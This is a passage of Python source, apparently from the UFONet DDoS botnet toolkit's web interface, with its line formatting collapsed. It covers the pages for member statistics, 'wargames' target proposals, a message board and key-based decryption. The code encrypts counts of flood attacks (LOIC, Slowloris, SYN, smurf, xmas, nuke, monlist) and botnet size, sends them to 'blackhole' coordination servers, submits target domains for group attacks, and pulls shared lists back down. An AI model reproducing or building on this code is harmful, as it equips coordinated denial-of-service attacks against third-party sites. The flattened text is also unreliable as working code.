decryptedtext buffer grid_id = m[15] # id elif version == 12: grid_contact = m[11] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[12] # id elif version == 11: grid_contact = m[10] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[11] # id elif version == 10: grid_contact = m[9] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[10] # id else: grid_contact = nodec_text grid_id = '6666666666666666666666666666666666666' # fake id grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),str(grid_contact),str(grid_id)]) if grid_filter == "nickname": grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname elif grid_filter == "ranking": grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking elif grid_filter == "chargo": grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo elif grid_filter == "dorking": grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking elif grid_filter == "transferred": grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred elif grid_filter == "maxchargo": grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo elif grid_filter == "missions": grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions elif grid_filter == "attacks": grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks elif grid_filter == "loic": grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic elif grid_filter == "loris": grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris elif grid_filter == "ufosyn": grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn elif grid_filter == "spray": grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray elif grid_filter == "smurf": grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf elif grid_filter == "xmas": grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas elif grid_filter == "nuke": grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke elif grid_filter == "tachyon": grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon elif grid_filter == "monlist": grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist elif grid_filter == "contact": grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by contact else: grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default) for i in grid_items: grid_nickname = str(i[0]) self.encrypt(grid_key, grid_nickname) if self.encryptedtext: grid_nickname = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_ranking = str(i[1]) self.encrypt(grid_key, grid_ranking) if self.encryptedtext: grid_ranking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_totalchargo = str(i[2]) self.encrypt(grid_key, grid_totalchargo) if self.encryptedtext: grid_totalchargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_dorking = str(i[3]) self.encrypt(grid_key, grid_dorking) if self.encryptedtext: grid_dorking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_transferred = str(i[4]) self.encrypt(grid_key, grid_transferred) if self.encryptedtext: grid_transferred = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_maxchargo = str(i[5]) self.encrypt(grid_key, grid_maxchargo) if self.encryptedtext: grid_maxchargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_missions = str(i[6]) self.encrypt(grid_key, grid_missions) if self.encryptedtext: grid_missions = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_attacks = str(i[7]) self.encrypt(grid_key, grid_attacks) if self.encryptedtext: grid_attacks = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_loic = str(i[8]) self.encrypt(grid_key, grid_loic) if self.encryptedtext: grid_loic = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_loris = str(i[9]) self.encrypt(grid_key, grid_loris) if self.encryptedtext: grid_loris = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_ufosyn = str(i[10]) self.encrypt(grid_key, grid_ufosyn) if self.encryptedtext: grid_ufosyn = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_spray = str(i[11]) self.encrypt(grid_key, grid_spray) if self.encryptedtext: grid_spray = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_smurf = str(i[12]) self.encrypt(grid_key, grid_smurf) if self.encryptedtext: grid_smurf = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_xmas = str(i[13]) self.encrypt(grid_key, grid_xmas) if self.encryptedtext: grid_xmas = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_nuke = str(i[14]) self.encrypt(grid_key, grid_nuke) if self.encryptedtext: grid_nuke = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_tachyon = str(i[15]) self.encrypt(grid_key, grid_tachyon) if self.encryptedtext: grid_tachyon = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_monlist = str(i[16]) self.encrypt(grid_key, grid_monlist) if self.encryptedtext: grid_monlist = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_contact = str(i[17]) self.encrypt(grid_key, grid_contact) if self.encryptedtext: grid_contact = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_id = str(i[18]) # id (plain id) l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_contact) + "#?#" + str(grid_id) f.write(l + os.linesep) f.close() except: pass if page == "/cmd_grid_filter_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_grid_filter_update"] = "
"+f.read()+"
"
        if page == "/cmd_transfer_grid":
            self.pages["/cmd_transfer_grid"] = "
Waiting for 'blackhole' connection...
" blackhole_ip = pGet["grid_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: grid_key = pGet["grid_key"] except: grid_key = "" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" if grid_key is not "": # stream creation + encryption + package send try: grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf grid_data = json.load(grid_json_file) grid_json_file.close() stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats stats_data = json.load(stats_json_file) stats_json_file.close() nickname = grid_data["grid_nick"].encode('utf-8') self.encrypt(grid_key, nickname) if self.encryptedtext: nickname = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer ranking = self.ranking if ranking == "Rookie": ranking = 1 elif ranking == "Mercenary": ranking = 2 elif ranking == "Bandit": ranking = 3 elif ranking == "UFOmmander!": ranking = 4 elif ranking == "UFOl33t!": ranking = 5 else: ranking = 1 self.encrypt(grid_key, str(ranking)) if self.encryptedtext: ranking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer chargo = self.total_botnet self.encrypt(grid_key, str(chargo)) if self.encryptedtext: chargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer dorking = stats_data["scanner"] self.encrypt(grid_key, str(dorking)) if self.encryptedtext: dorking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer transferred = stats_data["transferred"] self.encrypt(grid_key, str(transferred)) if self.encryptedtext: transferred = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer max_chargo = stats_data["max_chargo"] self.encrypt(grid_key, str(max_chargo)) if self.encryptedtext: max_chargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer missions = stats_data["missions"] self.encrypt(grid_key, str(missions)) if self.encryptedtext: missions = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer attacks = stats_data["completed"] self.encrypt(grid_key, str(attacks)) if self.encryptedtext: attacks = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer loic = stats_data["loic"] self.encrypt(grid_key, str(loic)) if self.encryptedtext: loic = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer loris = stats_data["loris"] self.encrypt(grid_key, str(loris)) if self.encryptedtext: loris = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer ufosyn = stats_data["ufosyn"] self.encrypt(grid_key, str(ufosyn)) if self.encryptedtext: ufosyn = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer spray = stats_data["spray"] self.encrypt(grid_key, str(spray)) if self.encryptedtext: spray = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer smurf = stats_data["smurf"] self.encrypt(grid_key, str(smurf)) if self.encryptedtext: smurf = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer xmas = stats_data["xmas"] self.encrypt(grid_key, str(xmas)) if self.encryptedtext: xmas = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer nuke = stats_data["nuke"] self.encrypt(grid_key, str(nuke)) if self.encryptedtext: nuke = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer tachyon = stats_data["tachyon"] self.encrypt(grid_key, str(tachyon)) if self.encryptedtext: tachyon = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer monlist = stats_data["monlist"] self.encrypt(grid_key, str(monlist)) if self.encryptedtext: monlist = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer contact = grid_data["grid_contact"].encode('utf-8') self.encrypt(grid_key, str(contact)) if self.encryptedtext: contact = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer id = grid_data["grid_token"] # plain text stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(contact)+grid_msg_sep+str(id) try: host = blackhole_ip cport = 9992 # port used by mothership grider (server side script) gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) gs.settimeout(5.0) gs.connect((host, cport)) gs.send(stream) gs.close() try: # download latest grid after submit grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8') f = open(self.grid_file, "w") # write updates to grid.txt f.write(grid) f.close() except: pass grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n" except: grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n" except: grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(grid_trans) f.write(end_mark) f.close() if page == "/cmd_transfer_grid_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_transfer_grid_update"] = "
"+f.read()+"
"
        if page == "/cmd_transfer_wargame":
            self.pages["/cmd_transfer_wargame"] = "
Waiting for 'blackhole' connection...
" blackhole_ip = pGet["wargames_source2"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: wargames_enckey = pGet["wargames_enckey"] except: wargames_enckey = "" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime()) wargames_target = pGet["wargames_target"] if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url t = urlparse(wargames_target) wargames_target = t.netloc else: wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n" wargames_enckey = "" if wargames_target.startswith("www."): wargames_target = wargames_target.replace("www.","") wargames_estimated = pGet["wargames_estimated"] try: wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S") wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S") if (wargames_creation > wargames_estimated) == True: # parse bad dates wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n" wargames_enckey = "" except: wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n" wargames_enckey = "" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" if wargames_enckey is not "": # stream creation + encryption + package send wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) try: self.encrypt(wargames_enckey, wargames_creation) if self.encryptedtext: wargames_creation = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer self.encrypt(wargames_enckey, wargames_target) if self.encryptedtext: wargames_target = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer self.encrypt(wargames_enckey, wargames_estimated) if self.encryptedtext: wargames_estimated = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated) try: host = blackhole_ip cport = 9992 # port used by mothership grider (server side script) gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) gs.settimeout(5.0) gs.connect((host, cport)) gs.send(stream) gs.close() try: # download latest wargames after submit wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8') f = open(self.wargames_file, "w") # write updates to wargames.txt f.write(wargames) f.close() except: pass wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n" except: wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n" except: wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(wargames_trans) f.write(end_mark) f.close() if page == "/cmd_transfer_wargame_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_transfer_wargame_update"] = "
"+f.read()+"
"
        if page == "/cmd_sync_board":
            self.pages["/cmd_sync_board"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["board_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8') f = open(self.board_file, "w") # write updates to board.txt f.write(board) f.close() self.board_text = board except: board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(str(board)) f.write(end_mark) f.close() if page == "/cmd_sync_board_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: stream = f.read() stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) self.pages["/cmd_sync_board_update"] = "
"+stream+"
"
        if page == "/cmd_send_message_board":
            self.pages["/cmd_send_message_board"] = "
Waiting for 'blackhole' connection...
" blackhole_ip = pGet["board_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip).decode('utf8') try: board_key = pGet["board_key"] except: board_key = "" try: board_topic = pGet["board_topic"] except: board_topic = "" try: board_message = pGet["stream_txt"] except: board_message = "" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole) try: board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf board_data = json.load(board_json_file) board_json_file.close() board_nickname = board_data["profile_nick"] self.encrypt(board_key, board_nickname) if self.encryptedtext: board_nickname = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer board_icon = board_data["profile_icon"] board_icon = board_icon.replace("link", "") # keep just icon number board_id = board_data["profile_token"] self.encrypt(board_key, board_message) if self.encryptedtext: board_message = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer if board_topic == "general": board_topic = 1 elif board_topic == "opsec": board_topic = 2 elif board_topic == "faq": board_topic = 3 elif board_topic == "bugs": board_topic = 4 elif board_topic == "media": board_topic = 5 else: board_topic = 1 stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message) try: host = blackhole_ip cport = 9992 # port used by mothership grider (server side script) gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) gs.settimeout(5.0) gs.connect((host, cport)) gs.send(stream) gs.close() try: # download latest board after submit board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8') f = open(self.board_file, "w") # write updates to board.txt f.write(board) f.close() except: pass board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n" except: board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n" except: board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n" f = open("/tmp/out", "w") f.write(board_trans) f.write(end_mark) f.close() if page == "/cmd_send_message_board_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_send_message_board_update"] = "
"+f.read()+"
"
        if page == "/cmd_decrypt":
            self.pages["/cmd_decrypt"] = "
Waiting for decrypting results...
" try: news_key = pGet["news_key"] except: news_key = "" try: missions_key = pGet["missions_key"] except: missions_key = "" end_mark = "\n[Info] [AI] End of decryption." if news_key is not "": # news decryption self.decrypted_news = [] nodec_text = "*** [This message cannot be solved with that KEY...]" news_key = pGet["news_key"] for news_text in self.list_news: self.decrypt(news_key, news_text) if self.decryptedtext: if len(self.decryptedtext) < 2: self.decrypted_news.append(nodec_text) else: self.decrypted_news.append(self.decryptedtext) else: self.decrypted_news.append(nodec_text) self.decryptedtext = "" # clean decryptedtext buffer f = open("/tmp/out", "w") num_news = 0 # news counter for m in self.decrypted_news: num_news = num_news + 1 f.write("["+str(num_news)+"] " + str(m)+"\n") f.write(end_mark) f.close() else: if missions_key is not "": # missions decryption self.decrypted_missions = [] nodec_text = "*** [This message cannot be solved with that KEY...]" missions_key = pGet["missions_key"] for missions_text in self.list_missions: self.decrypt(missions_key, missions_text) if self.decryptedtext: if len(self.decryptedtext) < 2: self.decrypted_missions.append(nodec_text) else: self.decrypted_missions.append(self.decryptedtext) else: self.decrypted_missions.append(nodec_text) self.decryptedtext = "" # clean decryptedtext buffer f = open("/tmp/out", "w") num_mission = 0 # missions counter for m in self.decrypted_missions: num_mission = num_mission + 1 f.write("["+str(num_mission)+"] " + str(m)+"\n") f.write(end_mark) f.close() else: # blackholes (nodes.dat) decryption + data showing self.decrypted_blackholes = [] nodec_text = "*** [This message cannot be solved with that key...]" blackhole_key = pGet["blackhole_key"] for blackholes_text in self.list_blackholes: self.decrypt(blackhole_key, blackholes_text) if self.decryptedtext: self.decrypted_blackholes.append(self.decryptedtext) else: self.decrypted_blackholes.append(nodec_text) self.decryptedtext = "" # clean decryptedtext buffer f = open("/tmp/out", "w") num_blackholes = 0 # blackholes counter for b in self.decrypted_blackholes: num_blackholes = num_blackholes + 1 if blackhole_sep in b: # IP | Mode | Comment | Actions s = b.rsplit(blackhole_sep, 1)[0] ip = str(s.rsplit(blackhole_sep, 1)[0]) mode = str(s.rsplit(blackhole_sep, 1)[1]) if mode == "D": # Download only mode mode = "Download" elif mode == "U": # Upload only mode mode = "Upload" else: # Upload/Download mode mode = "Download" + " - " + "Upload" comment = str(b.rsplit(blackhole_sep, 1)[1]) b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment f.write("["+str(num_blackholes)+"] " + str(b)+"\n") else: f.write("["+str(num_blackholes)+"] " + str(b)+"\n") f.write(end_mark) f.close() if page == "/cmd_decrypt_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_update"] = "
"+f.read()+"
"
        if page == "/news":
            self.pages["/news"] = self.html_news()
        if page == "/missions":
            self.pages["/missions"] = self.html_missions()
        if page == "/board":
            self.pages["/board"] = self.html_board()
        if page == "/grid":
            self.pages["/grid"] = self.html_grid()
        if page == "/wargames":
            self.pages["/wargames"] = self.html_wargames()
        if page == "/grid_profile":
            if pGet=={}:
                self.pages["/grid_profile"] = self.html_grid_profile()
            else:
                self.save_grid(pGet)
                self.pages["/grid_profile"] = self.html_grid_profile_submit()
        if page == "/board_profile":
            if pGet  =={}:
                self.pages["/board_profile"] = self.html_board_profile()
            else:
                self.save_profile(pGet)
                self.pages["/board_profile"] = self.html_board_profile_submit()
        if page == "/board_remove":
            self.pages["/board_remove"] = self.html_board_remove()
        if page == "/grid_remove":
            self.pages["/grid_remove"] = self.html_grid_remove()
        if page == "/cmd_decrypt_moderator_board":
            self.pages["/cmd_decrypt_moderator_board"] = "
Waiting for decrypting results...
" try: board_key = pGet["board_key"] except: board_key = "" try: filter = pGet["filter"] except: filter = "" end_mark = "\n[Info] [AI] End of decryption." if board_key is not "": # board decryption nodec_text = "***[ENCRYPTED WITH OTHER KEY]" f = open("/tmp/out", "w") b = "
" f.write(str(b)+"\n") self.list_moderator_rev = reversed(self.list_moderator) # order by DESC for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment if board_msg_sep in m: m = m.split(board_msg_sep) topic = m[0] # topic t = m[1] # icon n = m[2] # nick g = m[3] # id l = m[4] # comment if topic == "1": topic = "/GENERAL" elif topic == "2": topic = "/#OPSEC " elif topic == "3": topic = "/FAQ " elif topic == "4": topic = "/BUGS " elif topic == "5": topic = "/MEDIA " else: topic = "/BUGS[!]" operator_img = open("core/images/crew/link"+str(t)+".txt").read() icon = "" self.decrypt(board_key, n) if self.decryptedtext: nick = self.decryptedtext else: nick = 'Anonymous' # We are legion! try: nick = nick.decode('latin-1') # parsing for "her.man.xs-latino" except: pass if len(nick) < 3: nick = 'Anonymous' self.decryptedtext = "" # clean decryptedtext buffer id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation) self.decrypt(board_key, l) if self.decryptedtext: msg = self.decryptedtext else: msg = nodec_text try: msg = msg.decode('latin-1') except: pass if len(msg) < 2: msg = nodec_text self.decryptedtext = "" # clean decryptedtext buffer if filter in topic or filter == "ALL": # filter content by user selection b = "" f.write(str(b)+"\n") else: pass else: # not valid stream data pass b="
" + str(icon) + "
"+str(nick)+"
" b += ""+str(topic)+"" b += "
by "+str(nick)+"

" b += str(msg) + "
" f.write(str(b)+"\n") f.write(end_mark) f.close() if page == "/cmd_decrypt_moderator_board_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_moderator_board_update"] = "
"+f.read()+"
"
        if page == "/cmd_decrypt_grid":
            self.pages["/cmd_decrypt_grid"] = "
Waiting for decrypting results...
" try: grid_key = pGet["grid_key"] except: grid_key = "" end_mark = "[Info] [AI] End of decryption." if grid_key is not "": # grid decryption # Mothership stats counters mothership_members = 0 unknown_members = 0 member_1 = 0 # Rookie member_2 = 0 # Mercenary member_3 = 0 # Bandit member_4 = 0 # UFOmmander! member_5 = 0 # UFOl33t! mothership_missions = 0 mothership_transferred = 0 mothership_attacks = 0 mothership_loic = 0 mothership_loris = 0 mothership_ufosyn = 0 mothership_spray = 0 mothership_smurf = 0 mothership_xmas = 0 mothership_nuke = 0 mothership_tachyon = 0 mothership_monlist = 0 mothership_chargo = 0 mothership_dorking = 0 mothership_maxchargo = 0 nodec_text = "KEY?" grid_table = "
MEMBERS STATS:

" grid_key = pGet["grid_key"] f = open("/tmp/out", "w") self.list_grid_rev = reversed(self.list_grid) # order by DESC for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID if grid_msg_sep in m: version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4) m = m.split(grid_msg_sep) mothership_members = mothership_members + 1 # add new registered member to mothership stats grid_nickname = m[0] # nickname self.decrypt(grid_key, grid_nickname) if self.decryptedtext: grid_nickname = self.decryptedtext else: grid_nickname = nodec_text unknown_members = unknown_members + 1 # add members as unknown self.decryptedtext = "" # clean decryptedtext buffer if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11: grid_loris = m[9] # loris self.decrypt(grid_key, grid_loris) if self.decryptedtext: grid_loris = self.decryptedtext else: grid_loris = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_loris = int(grid_loris) mothership_loris = mothership_loris + grid_loris except: grid_loris = nodec_text else: grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present self.decrypt(grid_key, grid_loris) if self.decryptedtext: grid_loris = self.decryptedtext else: grid_loris = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_loris = int(grid_loris) mothership_loris = mothership_loris + grid_loris except: grid_loris = nodec_text if version > 17 or version == 17 or version == 16 or version == 15 or version == 12: grid_ufosyn = m[10] # ufosyn self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: grid_ufosyn = self.decryptedtext else: grid_ufosyn = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_ufosyn = int(grid_ufosyn) mothership_ufosyn = mothership_ufosyn + grid_ufosyn except: grid_ufosyn = nodec_text else: grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: grid_ufosyn = self.decryptedtext else: grid_ufosyn = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_ufosyn = int(grid_ufosyn) mothership_ufosyn = mothership_ufosyn + grid_ufosyn except: grid_ufosyn = nodec_text if version > 17 or version == 17 or version == 16 or version == 15: grid_spray = m[11] # spray self.decrypt(grid_key, grid_spray) if self.decryptedtext: grid_spray = self.decryptedtext else: grid_spray = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_spray = int(grid_spray) mothership_spray = mothership_spray + grid_spray except: grid_spray = nodec_text else: grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present self.decrypt(grid_key, grid_spray) if self.decryptedtext: grid_spray = self.decryptedtext else: grid_spray = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_spray = int(grid_spray) mothership_spray = mothership_spray + grid_spray except: grid_spray = nodec_text if version > 17 or version == 17 or version == 16 or version == 15: grid_smurf = m[12] # smurf self.decrypt(grid_key, grid_smurf) if self.decryptedtext: grid_smurf = self.decryptedtext else: grid_smurf = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_smurf = int(grid_smurf) mothership_smurf = mothership_smurf + grid_smurf except: grid_smurf = nodec_text else: grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present self.decrypt(grid_key, grid_smurf) if self.decryptedtext: grid_smurf = self.decryptedtext else: grid_smurf = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_smurf = int(grid_smurf) mothership_smurf = mothership_smurf + grid_smurf except: grid_smurf = nodec_text if version > 17 or version == 17 or version == 16 or version == 15: grid_xmas = m[13] # xmas self.decrypt(grid_key, grid_xmas) if self.decryptedtext: grid_xmas = self.decryptedtext else: grid_xmas = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_xmas = int(grid_xmas) mothership_xmas = mothership_xmas + grid_xmas except: grid_xmas = nodec_text else: grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present self.decrypt(grid_key, grid_xmas) if self.decryptedtext: grid_xmas = self.decryptedtext else: grid_xmas = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_xmas = int(grid_xmas) mothership_xmas = mothership_xmas + grid_xmas except: grid_xmas = nodec_text if version > 17 or version == 17 or version == 16: grid_nuke = m[14] # nuke self.decrypt(grid_key, grid_nuke) if self.decryptedtext: grid_nuke = self.decryptedtext else: grid_nuke = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_nuke = int(grid_nuke) mothership_nuke = mothership_nuke + grid_nuke except: grid_nuke = nodec_text else: grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present self.decrypt(grid_key, grid_nuke) if self.decryptedtext: grid_nuke = self.decryptedtext else: grid_nuke = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_nuke = int(grid_nuke) mothership_nuke = mothership_nuke + grid_nuke except: grid_nuke = nodec_text if version > 17 or version == 17: grid_tachyon = m[15] # tachyon 